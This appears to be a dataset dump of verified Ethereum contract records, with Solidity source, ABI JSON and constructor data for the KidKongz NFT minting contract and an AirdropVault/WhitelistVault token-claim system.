ipfs://de4e36de46bc020a3d0c7bf5cdcf2509dd384da6d352f71d3ad432f4113c9cd5 |
||
KidKongz | contracts/KidKongz.sol | 0x8658da91d9debe7bfb8fa91161abbed069bd5a84 | Solidity | pragma solidity >=0.7.0 <0.9.0;
contract KidKongz is ERC721Enumerable, Ownable {
using Strings for uint256;
// Set metadata for revealed Kid Kongz
string public baseURI;
// Extension for metata files
string public baseExtension = ".json";
// Not revealed metadata
string public notRevealedUri;
// Cost per Kid Kongz
uint256 public cost = 0.04 ether;
// Max amount of Kid Kongz
uint256 public maxSupply = 4000;
// Max amount to mint per transaction
uint256 public maxMintAmount = 20;
// Max amount of Kid Kongz per wallet
uint256 public nftPerAddressLimit = 60;
bool public paused = false;
bool public revealed = false;
bool public onlyWl = false;
address[] public wlAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWl == true) {
require(isWl(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isWl(address _user) public view returns (bool) {
for (uint i = 0; i < wlAddresses.length; i++) {
if (wlAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWl(bool _state) public onlyOwner {
onlyWl = _state;
}
function wlUsers(address[] calldata _users) public onlyOwner {
delete wlAddresses;
wlAddresses = _users;
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addressMintedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isWl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerAddressLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyWl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","t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| v0.8.4+commit.c7e474f2 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000094b6964204b6f6e677a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b4944000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046697066733a2f2f516d53356e34703352744257346d4454624c73637a4b586855777555504764794e6e506a4c725364524a687535612f6e6f7472657665616c65642e6a736f6e0000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://de4e36de46bc020a3d0c7bf5cdcf2509dd384da6d352f71d3ad432f4113c9cd5 |
||
AirdropVault | contracts/AirdropVault.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./vaults/WhitelistVault.sol";
contract AirdropVault is WhitelistVault {
constructor(address _tosAddress, uint256 _maxInputOnce)
WhitelistVault("Airdrop", _tosAddress, _maxInputOnce)
{}
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{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| v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/vaults/WhitelistVault.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
import "../libraries/ClaimVaultLib.sol";
import "./BaseVault.sol";
import "./VaultWhitelistStorage.sol";
//import "hardhat/console.sol";
contract WhitelistVault is BaseVault, VaultWhitelistStorage {
using SafeERC20 for IERC20;
///@dev constructor
///@param _name Vault's name
///@param _tos Allocated tos address
constructor(
string memory _name,
address _tos,
uint256 _inputMaxOnce
) {
name = _name;
tos = _tos;
maxInputOnceTime = _inputMaxOnce;
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setupRole(ADMIN_ROLE, msg.sender);
}
///@dev initialization function
///@param _totalAllocatedAmount total allocated amount
///@param _totalTgeCount total tge count
///@param _startTime start time
///@param _periodTimesPerClaim period time per claim
function initialize(
uint256 _totalAllocatedAmount,
uint256 _totalTgeCount,
uint256 _startTime,
uint256 _periodTimesPerClaim
) external onlyOwner {
initializeBase(
_totalAllocatedAmount,
_totalTgeCount,
_totalTgeCount,
_startTime,
_periodTimesPerClaim
);
}
///@dev allocate amount for first round (TGE)
///@param amount total claimable amount
function allocateAmountTGE(uint256 amount)
external
onlyOwner
nonZero(amount)
validTgeRound(1)
{
require(
totalTgeAmount + amount <= totalAllocatedAmount,
"WhitelistVault: exceed total allocated amount"
);
uint256 round = 1;
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
require(!tgeinfo.allocated, "WhitelistVault: already allocated");
tgeinfo.allocated = true;
tgeinfo.allocatedAmount = amount;
totalTgeAmount += amount;
lastClaimedRound = round;
if(totalTgeCount > 1 ) allocatedAmountForRound = (totalAllocatedAmount - amount) / (totalTgeCount - 1);
emit AllocatedAmount(round, amount);
}
///@dev allocate amount for each round (except TGE)
///@param round it is the period unit can claim once
function allocateAmountRound(uint256 round)
internal
nonZero(lastClaimedRound)
nonZero(allocatedAmountForRound)
{
require(
round > 1 && round <= totalTgeCount ,
"WhitelistVault: no available round"
);
uint256 calcRound = (block.timestamp - startTime) / periodTimesPerClaim;
/// It can be set only during each round.
require(round == calcRound+1, "WhitelistVault: no current round period");
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
require(!tgeinfo.allocated, "WhitelistVault: already allocated");
uint256 amount = (round - lastClaimedRound) * allocatedAmountForRound;
tgeinfo.allocated = true;
tgeinfo.allocatedAmount = amount ;
totalTgeAmount += amount;
lastClaimedRound = round;
emit AllocatedAmount(round, amount);
}
///@dev start round, Calculate how much the whitelisted people in the round can claim.
function startRound()
external
onlyOwner
nonZero(totalTgeCount)
{
uint256 round = currentRound();
require(round > 0 && round <= totalTgeCount, "WhitelistVault: non-valid round");
if(round > 1) allocateAmountRound(round);
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
require(
tgeinfo.allocated && tgeinfo.allocatedAmount > 0,
"WhitelistVault: no allocated"
);
require(!tgeinfo.started, "WhitelistVault: already started");
require(tgeinfo.whitelist.length > 0, "WhitelistVault: no whitelist");
tgeinfo.started = true;
tgeinfo.amount = tgeinfo.allocatedAmount / tgeinfo.whitelist.length;
emit StartedRound(round);
}
///@dev next claimable start time
function startRoundTime(uint256 round)
external
view
returns (uint256 start)
{
if (round > 0 && round <= totalTgeCount)
start = startTime + (periodTimesPerClaim * (round - 1));
}
///@dev number of unclaimed
function unclaimedInfos(address _user)
public
view
returns (uint256 count, uint256 amount)
{
count = 0;
amount = 0;
if (block.timestamp > startTime) {
uint256 curRound = currentRound();
for (uint256 i = 1; i <= curRound; i++) {
if (curRound >= i) {
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[i];
if (tgeinfo.started &&
tgeinfo.claimedTime[_user].joined &&
tgeinfo.claimedTime[_user].claimedTime == 0)
{
count++;
amount += tgeinfo.amount;
}
}
}
}
}
///@dev number of unclaimed
function unclaimedInfosDetails(address _user)
external
view
returns (uint256[] memory _rounds, uint256[] memory _amounts)
{
(uint256 size,) = unclaimedInfos(_user);
uint256[] memory counts = new uint256[](size);
uint256[] memory amounts = new uint256[](size);
if(size > 0){
uint256 k = 0;
if (block.timestamp > startTime) {
uint256 curRound = currentRound();
for (uint256 i = 1; i <= curRound; i++) {
if (curRound >= i) {
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[i];
if (tgeinfo.started &&
tgeinfo.claimedTime[_user].joined &&
tgeinfo.claimedTime[_user].claimedTime == 0
) {
counts[k] = i;
amounts[k] = tgeinfo.amount;
k++;
}
}
}
}
}
return (counts, amounts);
}
///@dev claim
function claim() external {
uint256 amount = 0;
require(block.timestamp > startTime, "WhitelistVault: not started yet");
uint256 curRound = currentRound();
for (uint256 i = 1; i <= curRound; i++) {
if (curRound >= i) {
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[i];
if (tgeinfo.started &&
tgeinfo.claimedTime[msg.sender].joined &&
tgeinfo.claimedTime[msg.sender].claimedTime == 0
) {
tgeinfo.claimedTime[msg.sender].claimedTime = block.timestamp;
tgeinfo.claimedCount++;
amount += tgeinfo.amount;
}
}
}
require(amount > 0, "WhitelistVault: no claimable amount");
totalClaimedAmount += amount;
userClaimedAmount[msg.sender] += amount;
require(
IERC20(tos).transfer(msg.sender, amount),
"WhitelistVault: transfer fail"
);
emit Claimed(msg.sender, amount, totalClaimedAmount);
}
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/libraries/ClaimVaultLib.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
/// @title Function for getting the current chain ID
library ClaimVaultLib {
struct ClaimedInfo {
bool joined;
uint256 claimedTime;
}
struct TgeInfo {
bool allocated;
bool started;
uint256 allocatedAmount;
uint256 claimedCount;
uint256 amount;
address[] whitelist;
mapping(address => ClaimedInfo) claimedTime;
}
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256"